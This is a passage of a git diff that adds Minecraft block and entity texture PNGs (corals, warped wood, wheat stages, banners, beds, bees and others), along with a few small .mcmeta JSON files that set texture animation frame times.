b/src/assets/minecraft/textures/block/tube_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/tube_coral_fan.png b/src/assets/minecraft/textures/block/tube_coral_fan.png new file mode 100644 index 00000000..6f32fca1 Binary files /dev/null and b/src/assets/minecraft/textures/block/tube_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/turtle_egg.png b/src/assets/minecraft/textures/block/turtle_egg.png new file mode 100644 index 00000000..ba920e9a Binary files /dev/null and b/src/assets/minecraft/textures/block/turtle_egg.png differ diff --git a/src/assets/minecraft/textures/block/turtle_egg_slightly_cracked.png b/src/assets/minecraft/textures/block/turtle_egg_slightly_cracked.png new file mode 100644 index 00000000..55fb04e3 Binary files /dev/null and b/src/assets/minecraft/textures/block/turtle_egg_slightly_cracked.png differ diff --git a/src/assets/minecraft/textures/block/turtle_egg_very_cracked.png b/src/assets/minecraft/textures/block/turtle_egg_very_cracked.png new file mode 100644 index 00000000..b6a87688 Binary files /dev/null and b/src/assets/minecraft/textures/block/turtle_egg_very_cracked.png differ diff --git a/src/assets/minecraft/textures/block/twisting_vines.png b/src/assets/minecraft/textures/block/twisting_vines.png new file mode 100644 index 00000000..c9c15359 Binary files /dev/null and b/src/assets/minecraft/textures/block/twisting_vines.png differ diff --git a/src/assets/minecraft/textures/block/twisting_vines_plant.png b/src/assets/minecraft/textures/block/twisting_vines_plant.png new file mode 100644 index 00000000..dae0a64d Binary files /dev/null and b/src/assets/minecraft/textures/block/twisting_vines_plant.png differ diff --git a/src/assets/minecraft/textures/block/vine.png b/src/assets/minecraft/textures/block/vine.png new file mode 100644 index 00000000..3d4f836f Binary files /dev/null and b/src/assets/minecraft/textures/block/vine.png differ diff --git a/src/assets/minecraft/textures/block/warped_door_bottom.png b/src/assets/minecraft/textures/block/warped_door_bottom.png new file mode 100644 index 00000000..eeb24464 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/warped_door_top.png b/src/assets/minecraft/textures/block/warped_door_top.png new file mode 100644 index 00000000..1cae64da Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_door_top.png differ diff --git a/src/assets/minecraft/textures/block/warped_fungus.png b/src/assets/minecraft/textures/block/warped_fungus.png new file mode 100644 index 00000000..fe9ffb40 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_fungus.png differ diff --git a/src/assets/minecraft/textures/block/warped_nylium.png b/src/assets/minecraft/textures/block/warped_nylium.png new file mode 100644 index 00000000..e3ca90f6 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_nylium.png differ diff --git a/src/assets/minecraft/textures/block/warped_nylium_side.png b/src/assets/minecraft/textures/block/warped_nylium_side.png new file mode 100644 index 00000000..fd1eccf4 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_nylium_side.png differ diff --git a/src/assets/minecraft/textures/block/warped_planks.png b/src/assets/minecraft/textures/block/warped_planks.png new file mode 100644 index 00000000..34d43756 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_planks.png differ diff --git a/src/assets/minecraft/textures/block/warped_roots.png b/src/assets/minecraft/textures/block/warped_roots.png new file mode 100644 index 00000000..89040f71 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_roots.png differ diff --git a/src/assets/minecraft/textures/block/warped_roots_pot.png b/src/assets/minecraft/textures/block/warped_roots_pot.png new file mode 100644 index 00000000..3aa4becb Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_roots_pot.png differ diff --git a/src/assets/minecraft/textures/block/warped_stem.png b/src/assets/minecraft/textures/block/warped_stem.png new file mode 100644 index 00000000..3683d9d1 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_stem.png differ diff --git a/src/assets/minecraft/textures/block/warped_stem.png.mcmeta b/src/assets/minecraft/textures/block/warped_stem.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/warped_stem.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/warped_stem_top.png b/src/assets/minecraft/textures/block/warped_stem_top.png new file mode 100644 index 00000000..a1478bfb Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_stem_top.png differ diff --git a/src/assets/minecraft/textures/block/warped_trapdoor.png b/src/assets/minecraft/textures/block/warped_trapdoor.png new file mode 100644 index 00000000..3e8f6138 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/warped_wart_block.png b/src/assets/minecraft/textures/block/warped_wart_block.png new file mode 100644 index 00000000..e174e3a2 Binary files /dev/null and b/src/assets/minecraft/textures/block/warped_wart_block.png differ diff --git a/src/assets/minecraft/textures/block/water_flow.png b/src/assets/minecraft/textures/block/water_flow.png new file mode 100644 index 00000000..2b90e8aa Binary files /dev/null and b/src/assets/minecraft/textures/block/water_flow.png differ diff --git a/src/assets/minecraft/textures/block/water_flow.png.mcmeta b/src/assets/minecraft/textures/block/water_flow.png.mcmeta new file mode 100644 index 00000000..4f0718ac --- /dev/null +++ b/src/assets/minecraft/textures/block/water_flow.png.mcmeta @@ -0,0 +1,3 @@ +{ + "animation": {} +} \ No newline at end of file diff --git a/src/assets/minecraft/textures/block/water_overlay.png b/src/assets/minecraft/textures/block/water_overlay.png new file mode 100644 index 00000000..c6f2fa98 Binary files /dev/null and b/src/assets/minecraft/textures/block/water_overlay.png differ diff --git a/src/assets/minecraft/textures/block/water_still.png b/src/assets/minecraft/textures/block/water_still.png new file mode 100644 index 00000000..41601626 Binary files /dev/null and b/src/assets/minecraft/textures/block/water_still.png differ diff --git a/src/assets/minecraft/textures/block/water_still.png.mcmeta b/src/assets/minecraft/textures/block/water_still.png.mcmeta new file mode 100644 index 00000000..0645f48c --- /dev/null +++ b/src/assets/minecraft/textures/block/water_still.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 2 + } +} diff --git a/src/assets/minecraft/textures/block/weeping_vines.png b/src/assets/minecraft/textures/block/weeping_vines.png new file mode 100644 index 00000000..5a862856 Binary files /dev/null and b/src/assets/minecraft/textures/block/weeping_vines.png differ diff --git a/src/assets/minecraft/textures/block/weeping_vines_plant.png b/src/assets/minecraft/textures/block/weeping_vines_plant.png new file mode 100644 index 00000000..6ce50a77 Binary files /dev/null and b/src/assets/minecraft/textures/block/weeping_vines_plant.png differ diff --git a/src/assets/minecraft/textures/block/wet_sponge.png b/src/assets/minecraft/textures/block/wet_sponge.png new file mode 100644 index 00000000..13b95c3b Binary files /dev/null and b/src/assets/minecraft/textures/block/wet_sponge.png differ diff --git a/src/assets/minecraft/textures/block/wheat_stage0.png b/src/assets/minecraft/textures/block/wheat_stage0.png new file mode 100644 index 00000000..a931be80 Binary files /dev/null and b/src/assets/minecraft/textures/block/wheat_stage0.png differ diff --git a/src/assets/minecraft/textures/block/wheat_stage1.png b/src/assets/minecraft/textures/block/wheat_stage1.png new file mode 100644 index 00000000..e2fde9e8 Binary files /dev/null and b/src/assets/minecraft/textures/block/wheat_stage1.png differ diff --git a/src/assets/minecraft/textures/block/wheat_stage2.png b/src/assets/minecraft/textures/block/wheat_stage2.png new file mode 100644 index 00000000..8cf9cb2f Binary files /dev/null and b/src/assets/minecraft/textures/block/wheat_stage2.png differ diff --git a/src/assets/minecraft/textures/block/wheat_stage3.png b/src/assets/minecraft/textures/block/wheat_stage3.png new file mode 100644 index 00000000..4c5349e2 Binary files /dev/null and b/src/assets/minecraft/textures/block/wheat_stage3.png differ diff --git a/src/assets/minecraft/textures/block/wheat_stage4.png b/src/assets/minecraft/textures/block/wheat_stage4.png new file mode 100644 index 00000000..6d69e463 Binary files /dev/null and b/src/assets/minecraft/textures/block/wheat_stage4.png differ diff --git a/src/assets/minecraft/textures/block/wheat_stage5.png b/src/assets/minecraft/textures/block/wheat_stage5.png new file mode 100644 index 00000000..4e4b810c Binary files /dev/null and b/src/assets/minecraft/textures/block/wheat_stage5.png differ diff --git a/src/assets/minecraft/textures/block/wheat_stage6.png b/src/assets/minecraft/textures/block/wheat_stage6.png new file mode 100644 index 00000000..9beda475 Binary files /dev/null and b/src/assets/minecraft/textures/block/wheat_stage6.png differ diff --git a/src/assets/minecraft/textures/block/wheat_stage7.png b/src/assets/minecraft/textures/block/wheat_stage7.png new file mode 100644 index 00000000..e5ee897e Binary files /dev/null and b/src/assets/minecraft/textures/block/wheat_stage7.png differ diff --git a/src/assets/minecraft/textures/block/white_concrete.png b/src/assets/minecraft/textures/block/white_concrete.png new file mode 100644 index 00000000..e2f7f41d Binary files /dev/null and b/src/assets/minecraft/textures/block/white_concrete.png differ diff --git a/src/assets/minecraft/textures/block/white_concrete_powder.png b/src/assets/minecraft/textures/block/white_concrete_powder.png new file mode 100644 index 00000000..35ae8ae4 Binary files /dev/null and b/src/assets/minecraft/textures/block/white_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/white_glazed_terracotta.png b/src/assets/minecraft/textures/block/white_glazed_terracotta.png new file mode 100644 index 00000000..b94f6b9d Binary files /dev/null and b/src/assets/minecraft/textures/block/white_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/white_shulker_box.png b/src/assets/minecraft/textures/block/white_shulker_box.png new file mode 100644 index 00000000..3d87d645 Binary files /dev/null and b/src/assets/minecraft/textures/block/white_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/white_stained_glass.png b/src/assets/minecraft/textures/block/white_stained_glass.png new file mode 100644 index 00000000..fc9fc65d Binary files /dev/null and b/src/assets/minecraft/textures/block/white_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/white_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/white_stained_glass_pane_top.png new file mode 100644 index 00000000..0c7d0917 Binary files /dev/null and b/src/assets/minecraft/textures/block/white_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/white_terracotta.png b/src/assets/minecraft/textures/block/white_terracotta.png new file mode 100644 index 00000000..b7ba8e99 Binary files /dev/null and b/src/assets/minecraft/textures/block/white_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/white_tulip.png b/src/assets/minecraft/textures/block/white_tulip.png new file mode 100644 index 00000000..1aa8f4db Binary files /dev/null and b/src/assets/minecraft/textures/block/white_tulip.png differ diff --git a/src/assets/minecraft/textures/block/white_wool.png b/src/assets/minecraft/textures/block/white_wool.png new file mode 100644 index 00000000..fa2c56e8 Binary files /dev/null and b/src/assets/minecraft/textures/block/white_wool.png differ diff --git a/src/assets/minecraft/textures/block/wither_rose.png b/src/assets/minecraft/textures/block/wither_rose.png new file mode 100644 index 00000000..ae0a1b67 Binary files /dev/null and b/src/assets/minecraft/textures/block/wither_rose.png differ diff --git a/src/assets/minecraft/textures/block/yellow_concrete.png b/src/assets/minecraft/textures/block/yellow_concrete.png new file mode 100644 index 00000000..8bc83432 Binary files /dev/null and b/src/assets/minecraft/textures/block/yellow_concrete.png differ diff --git a/src/assets/minecraft/textures/block/yellow_concrete_powder.png b/src/assets/minecraft/textures/block/yellow_concrete_powder.png new file mode 100644 index 00000000..74429838 Binary files /dev/null and b/src/assets/minecraft/textures/block/yellow_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/yellow_glazed_terracotta.png b/src/assets/minecraft/textures/block/yellow_glazed_terracotta.png new file mode 100644 index 00000000..3d20abfa Binary files /dev/null and b/src/assets/minecraft/textures/block/yellow_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/yellow_shulker_box.png b/src/assets/minecraft/textures/block/yellow_shulker_box.png new file mode 100644 index 00000000..671b2c36 Binary files /dev/null and b/src/assets/minecraft/textures/block/yellow_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/yellow_stained_glass.png b/src/assets/minecraft/textures/block/yellow_stained_glass.png new file mode 100644 index 00000000..07c4d1bd Binary files /dev/null and b/src/assets/minecraft/textures/block/yellow_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/yellow_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/yellow_stained_glass_pane_top.png new file mode 100644 index 00000000..1c8580f3 Binary files /dev/null and b/src/assets/minecraft/textures/block/yellow_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/yellow_terracotta.png b/src/assets/minecraft/textures/block/yellow_terracotta.png new file mode 100644 index 00000000..ec96503a Binary files /dev/null and b/src/assets/minecraft/textures/block/yellow_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/yellow_wool.png b/src/assets/minecraft/textures/block/yellow_wool.png new file mode 100644 index 00000000..fba27874 Binary files /dev/null and b/src/assets/minecraft/textures/block/yellow_wool.png differ diff --git a/src/assets/minecraft/textures/colormap/foliage.png b/src/assets/minecraft/textures/colormap/foliage.png new file mode 100644 index 00000000..3517423a Binary files /dev/null and b/src/assets/minecraft/textures/colormap/foliage.png differ diff --git a/src/assets/minecraft/textures/colormap/grass.png b/src/assets/minecraft/textures/colormap/grass.png new file mode 100644 index 00000000..f59dd38b Binary files /dev/null and b/src/assets/minecraft/textures/colormap/grass.png differ diff --git a/src/assets/minecraft/textures/effect/dither.png b/src/assets/minecraft/textures/effect/dither.png new file mode 100644 index 00000000..d211107d Binary files /dev/null and b/src/assets/minecraft/textures/effect/dither.png differ diff --git a/src/assets/minecraft/textures/entity/alex.png b/src/assets/minecraft/textures/entity/alex.png new file mode 100644 index 00000000..ffd8e071 Binary files /dev/null and b/src/assets/minecraft/textures/entity/alex.png differ diff --git a/src/assets/minecraft/textures/entity/armorstand/wood.png b/src/assets/minecraft/textures/entity/armorstand/wood.png new file mode 100644 index 00000000..c41a82f0 Binary files /dev/null and b/src/assets/minecraft/textures/entity/armorstand/wood.png differ diff --git a/src/assets/minecraft/textures/entity/arrow.png b/src/assets/minecraft/textures/entity/arrow.png new file mode 100644 index 00000000..0d58b2cc Binary files /dev/null and b/src/assets/minecraft/textures/entity/arrow.png differ diff --git a/src/assets/minecraft/textures/entity/banner/base.png b/src/assets/minecraft/textures/entity/banner/base.png new file mode 100644 index 00000000..70ce7392 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/base.png differ diff --git a/src/assets/minecraft/textures/entity/banner/border.png b/src/assets/minecraft/textures/entity/banner/border.png new file mode 100644 index 00000000..ee613d49 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/border.png differ diff --git a/src/assets/minecraft/textures/entity/banner/bricks.png b/src/assets/minecraft/textures/entity/banner/bricks.png new file mode 100644 index 00000000..1821c093 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/bricks.png differ diff --git a/src/assets/minecraft/textures/entity/banner/circle.png b/src/assets/minecraft/textures/entity/banner/circle.png new file mode 100644 index 00000000..6ee6beb3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/circle.png differ diff --git a/src/assets/minecraft/textures/entity/banner/creeper.png b/src/assets/minecraft/textures/entity/banner/creeper.png new file mode 100644 index 00000000..8c57b0d9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/creeper.png differ diff --git a/src/assets/minecraft/textures/entity/banner/cross.png b/src/assets/minecraft/textures/entity/banner/cross.png new file mode 100644 index 00000000..9868a49c Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/cross.png differ diff --git a/src/assets/minecraft/textures/entity/banner/curly_border.png b/src/assets/minecraft/textures/entity/banner/curly_border.png new file mode 100644 index 00000000..f39a1298 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/curly_border.png differ diff --git a/src/assets/minecraft/textures/entity/banner/diagonal_left.png b/src/assets/minecraft/textures/entity/banner/diagonal_left.png new file mode 100644 index 00000000..0189c317 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/diagonal_left.png differ diff --git a/src/assets/minecraft/textures/entity/banner/diagonal_right.png b/src/assets/minecraft/textures/entity/banner/diagonal_right.png new file mode 100644 index 00000000..1fa29f01 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/diagonal_right.png differ diff --git a/src/assets/minecraft/textures/entity/banner/diagonal_up_left.png b/src/assets/minecraft/textures/entity/banner/diagonal_up_left.png new file mode 100644 index 00000000..27d3b662 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/diagonal_up_left.png differ diff --git a/src/assets/minecraft/textures/entity/banner/diagonal_up_right.png b/src/assets/minecraft/textures/entity/banner/diagonal_up_right.png new file mode 100644 index 00000000..8062de49 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/diagonal_up_right.png differ diff --git a/src/assets/minecraft/textures/entity/banner/flower.png b/src/assets/minecraft/textures/entity/banner/flower.png new file mode 100644 index 00000000..d990c166 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/flower.png differ diff --git a/src/assets/minecraft/textures/entity/banner/globe.png b/src/assets/minecraft/textures/entity/banner/globe.png new file mode 100644 index 00000000..45d0e97d Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/globe.png differ diff --git a/src/assets/minecraft/textures/entity/banner/gradient.png b/src/assets/minecraft/textures/entity/banner/gradient.png new file mode 100644 index 00000000..6e5a9414 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/gradient.png differ diff --git a/src/assets/minecraft/textures/entity/banner/gradient_up.png b/src/assets/minecraft/textures/entity/banner/gradient_up.png new file mode 100644 index 00000000..468bd4cb Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/gradient_up.png differ diff --git a/src/assets/minecraft/textures/entity/banner/half_horizontal.png b/src/assets/minecraft/textures/entity/banner/half_horizontal.png new file mode 100644 index 00000000..20826e14 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/half_horizontal.png differ diff --git a/src/assets/minecraft/textures/entity/banner/half_horizontal_bottom.png b/src/assets/minecraft/textures/entity/banner/half_horizontal_bottom.png new file mode 100644 index 00000000..ee5f94f1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/half_horizontal_bottom.png differ diff --git a/src/assets/minecraft/textures/entity/banner/half_vertical.png b/src/assets/minecraft/textures/entity/banner/half_vertical.png new file mode 100644 index 00000000..6ced0af4 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/half_vertical.png differ diff --git a/src/assets/minecraft/textures/entity/banner/half_vertical_right.png b/src/assets/minecraft/textures/entity/banner/half_vertical_right.png new file mode 100644 index 00000000..a05d0c11 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/half_vertical_right.png differ diff --git a/src/assets/minecraft/textures/entity/banner/mojang.png b/src/assets/minecraft/textures/entity/banner/mojang.png new file mode 100644 index 00000000..30c30347 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/mojang.png differ diff --git a/src/assets/minecraft/textures/entity/banner/piglin.png b/src/assets/minecraft/textures/entity/banner/piglin.png new file mode 100644 index 00000000..57473f5d Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/piglin.png differ diff --git a/src/assets/minecraft/textures/entity/banner/rhombus.png b/src/assets/minecraft/textures/entity/banner/rhombus.png new file mode 100644 index 00000000..bb3dd556 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/rhombus.png differ diff --git a/src/assets/minecraft/textures/entity/banner/skull.png b/src/assets/minecraft/textures/entity/banner/skull.png new file mode 100644 index 00000000..8a6cc1b3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/skull.png differ diff --git a/src/assets/minecraft/textures/entity/banner/small_stripes.png b/src/assets/minecraft/textures/entity/banner/small_stripes.png new file mode 100644 index 00000000..7104ad3d Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/small_stripes.png differ diff --git a/src/assets/minecraft/textures/entity/banner/square_bottom_left.png b/src/assets/minecraft/textures/entity/banner/square_bottom_left.png new file mode 100644 index 00000000..761d4921 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/square_bottom_left.png differ diff --git a/src/assets/minecraft/textures/entity/banner/square_bottom_right.png b/src/assets/minecraft/textures/entity/banner/square_bottom_right.png new file mode 100644 index 00000000..c6466109 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/square_bottom_right.png differ diff --git a/src/assets/minecraft/textures/entity/banner/square_top_left.png b/src/assets/minecraft/textures/entity/banner/square_top_left.png new file mode 100644 index 00000000..7c1f1d9c Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/square_top_left.png differ diff --git a/src/assets/minecraft/textures/entity/banner/square_top_right.png b/src/assets/minecraft/textures/entity/banner/square_top_right.png new file mode 100644 index 00000000..c66452cf Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/square_top_right.png differ diff --git a/src/assets/minecraft/textures/entity/banner/straight_cross.png b/src/assets/minecraft/textures/entity/banner/straight_cross.png new file mode 100644 index 00000000..b5aee999 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/straight_cross.png differ diff --git a/src/assets/minecraft/textures/entity/banner/stripe_bottom.png b/src/assets/minecraft/textures/entity/banner/stripe_bottom.png new file mode 100644 index 00000000..7c52d0c8 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/stripe_bottom.png differ diff --git a/src/assets/minecraft/textures/entity/banner/stripe_center.png b/src/assets/minecraft/textures/entity/banner/stripe_center.png new file mode 100644 index 00000000..d7efe29f Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/stripe_center.png differ diff --git a/src/assets/minecraft/textures/entity/banner/stripe_downleft.png b/src/assets/minecraft/textures/entity/banner/stripe_downleft.png new file mode 100644 index 00000000..34f8e7ce Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/stripe_downleft.png differ diff --git a/src/assets/minecraft/textures/entity/banner/stripe_downright.png b/src/assets/minecraft/textures/entity/banner/stripe_downright.png new file mode 100644 index 00000000..01421935 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/stripe_downright.png differ diff --git a/src/assets/minecraft/textures/entity/banner/stripe_left.png b/src/assets/minecraft/textures/entity/banner/stripe_left.png new file mode 100644 index 00000000..7b6788eb Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/stripe_left.png differ diff --git a/src/assets/minecraft/textures/entity/banner/stripe_middle.png b/src/assets/minecraft/textures/entity/banner/stripe_middle.png new file mode 100644 index 00000000..37feba22 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/stripe_middle.png differ diff --git a/src/assets/minecraft/textures/entity/banner/stripe_right.png b/src/assets/minecraft/textures/entity/banner/stripe_right.png new file mode 100644 index 00000000..3c89f8a3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/stripe_right.png differ diff --git a/src/assets/minecraft/textures/entity/banner/stripe_top.png b/src/assets/minecraft/textures/entity/banner/stripe_top.png new file mode 100644 index 00000000..5fc5de70 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/stripe_top.png differ diff --git a/src/assets/minecraft/textures/entity/banner/triangle_bottom.png b/src/assets/minecraft/textures/entity/banner/triangle_bottom.png new file mode 100644 index 00000000..a324a190 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/triangle_bottom.png differ diff --git a/src/assets/minecraft/textures/entity/banner/triangle_top.png b/src/assets/minecraft/textures/entity/banner/triangle_top.png new file mode 100644 index 00000000..00f86623 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/triangle_top.png differ diff --git a/src/assets/minecraft/textures/entity/banner/triangles_bottom.png b/src/assets/minecraft/textures/entity/banner/triangles_bottom.png new file mode 100644 index 00000000..8e535f59 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/triangles_bottom.png differ diff --git a/src/assets/minecraft/textures/entity/banner/triangles_top.png b/src/assets/minecraft/textures/entity/banner/triangles_top.png new file mode 100644 index 00000000..4bd0b8b2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner/triangles_top.png differ diff --git a/src/assets/minecraft/textures/entity/banner_base.png b/src/assets/minecraft/textures/entity/banner_base.png new file mode 100644 index 00000000..d8fa0f59 Binary files /dev/null and b/src/assets/minecraft/textures/entity/banner_base.png differ diff --git a/src/assets/minecraft/textures/entity/bat.png b/src/assets/minecraft/textures/entity/bat.png new file mode 100644 index 00000000..3f71bc47 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bat.png differ diff --git a/src/assets/minecraft/textures/entity/beacon_beam.png b/src/assets/minecraft/textures/entity/beacon_beam.png new file mode 100644 index 00000000..a2da8c6f Binary files /dev/null and b/src/assets/minecraft/textures/entity/beacon_beam.png differ diff --git a/src/assets/minecraft/textures/entity/bear/polarbear.png b/src/assets/minecraft/textures/entity/bear/polarbear.png new file mode 100644 index 00000000..59de9a1c Binary files /dev/null and b/src/assets/minecraft/textures/entity/bear/polarbear.png differ diff --git a/src/assets/minecraft/textures/entity/bed/black.png b/src/assets/minecraft/textures/entity/bed/black.png new file mode 100644 index 00000000..9893104c Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/black.png differ diff --git a/src/assets/minecraft/textures/entity/bed/blue.png b/src/assets/minecraft/textures/entity/bed/blue.png new file mode 100644 index 00000000..653e086d Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/blue.png differ diff --git a/src/assets/minecraft/textures/entity/bed/brown.png b/src/assets/minecraft/textures/entity/bed/brown.png new file mode 100644 index 00000000..d4e15d69 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/brown.png differ diff --git a/src/assets/minecraft/textures/entity/bed/cyan.png b/src/assets/minecraft/textures/entity/bed/cyan.png new file mode 100644 index 00000000..319fd268 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/cyan.png differ diff --git a/src/assets/minecraft/textures/entity/bed/gray.png b/src/assets/minecraft/textures/entity/bed/gray.png new file mode 100644 index 00000000..9879a779 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/gray.png differ diff --git a/src/assets/minecraft/textures/entity/bed/green.png b/src/assets/minecraft/textures/entity/bed/green.png new file mode 100644 index 00000000..8eb60ecc Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/green.png differ diff --git a/src/assets/minecraft/textures/entity/bed/light_blue.png b/src/assets/minecraft/textures/entity/bed/light_blue.png new file mode 100644 index 00000000..7b605839 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/light_blue.png differ diff --git a/src/assets/minecraft/textures/entity/bed/light_gray.png b/src/assets/minecraft/textures/entity/bed/light_gray.png new file mode 100644 index 00000000..c35d5479 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/light_gray.png differ diff --git a/src/assets/minecraft/textures/entity/bed/lime.png b/src/assets/minecraft/textures/entity/bed/lime.png new file mode 100644 index 00000000..f8fe0e69 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/lime.png differ diff --git a/src/assets/minecraft/textures/entity/bed/magenta.png b/src/assets/minecraft/textures/entity/bed/magenta.png new file mode 100644 index 00000000..2b53bb9c Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/magenta.png differ diff --git a/src/assets/minecraft/textures/entity/bed/orange.png b/src/assets/minecraft/textures/entity/bed/orange.png new file mode 100644 index 00000000..2fbc511c Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/orange.png differ diff --git a/src/assets/minecraft/textures/entity/bed/pink.png b/src/assets/minecraft/textures/entity/bed/pink.png new file mode 100644 index 00000000..1411ef37 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/pink.png differ diff --git a/src/assets/minecraft/textures/entity/bed/purple.png b/src/assets/minecraft/textures/entity/bed/purple.png new file mode 100644 index 00000000..f24a8359 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/purple.png differ diff --git a/src/assets/minecraft/textures/entity/bed/red.png b/src/assets/minecraft/textures/entity/bed/red.png new file mode 100644 index 00000000..3e13835a Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/red.png differ diff --git a/src/assets/minecraft/textures/entity/bed/white.png b/src/assets/minecraft/textures/entity/bed/white.png new file mode 100644 index 00000000..6e52d5c9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/white.png differ diff --git a/src/assets/minecraft/textures/entity/bed/yellow.png b/src/assets/minecraft/textures/entity/bed/yellow.png new file mode 100644 index 00000000..1d3d4040 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bed/yellow.png differ diff --git a/src/assets/minecraft/textures/entity/bee/bee.png b/src/assets/minecraft/textures/entity/bee/bee.png new file mode 100644 index 00000000..9927efbc Binary files /dev/null and b/src/assets/minecraft/textures/entity/bee/bee.png differ diff --git a/src/assets/minecraft/textures/entity/bee/bee_angry.png b/src/assets/minecraft/textures/entity/bee/bee_angry.png new file mode 100644 index 00000000..1533277d Binary files /dev/null and b/src/assets/minecraft/textures/entity/bee/bee_angry.png differ diff --git a/src/assets/minecraft/textures/entity/bee/bee_angry_nectar.png b/src/assets/minecraft/textures/entity/bee/bee_angry_nectar.png new file mode 100644 index 00000000..85b89a73 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bee/bee_angry_nectar.png differ diff --git a/src/assets/minecraft/textures/entity/bee/bee_nectar.png b/src/assets/minecraft/textures/entity/bee/bee_nectar.png new file mode 100644 index 00000000..209918bd Binary files /dev/null and b/src/assets/minecraft/textures/entity/bee/bee_nectar.png differ diff --git a/src/assets/minecraft/textures/entity/bee/bee_stinger.png b/src/assets/minecraft/textures/entity/bee/bee_stinger.png new file mode 100644 index 00000000..d17f4dc1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/bee/bee_stinger.png differ diff --git a/src/assets/minecraft/textures/entity/bell/bell_body.png b/src/assets/minecraft/textures/entity/bell/bell_body.png new file mode 100644 index 00000000..511a979f Binary files /dev/null and b/src/assets/minecraft/textures/entity/bell/bell_body.png differ diff --git a/src/assets/minecraft/textures/entity/blaze.png b/src/assets/minecraft/textures/entity/blaze.png new file mode 100644 index 00000000..afcc89f6 Binary files /dev/null and b/src/assets/minecraft/textures/entity/blaze.png differ diff --git 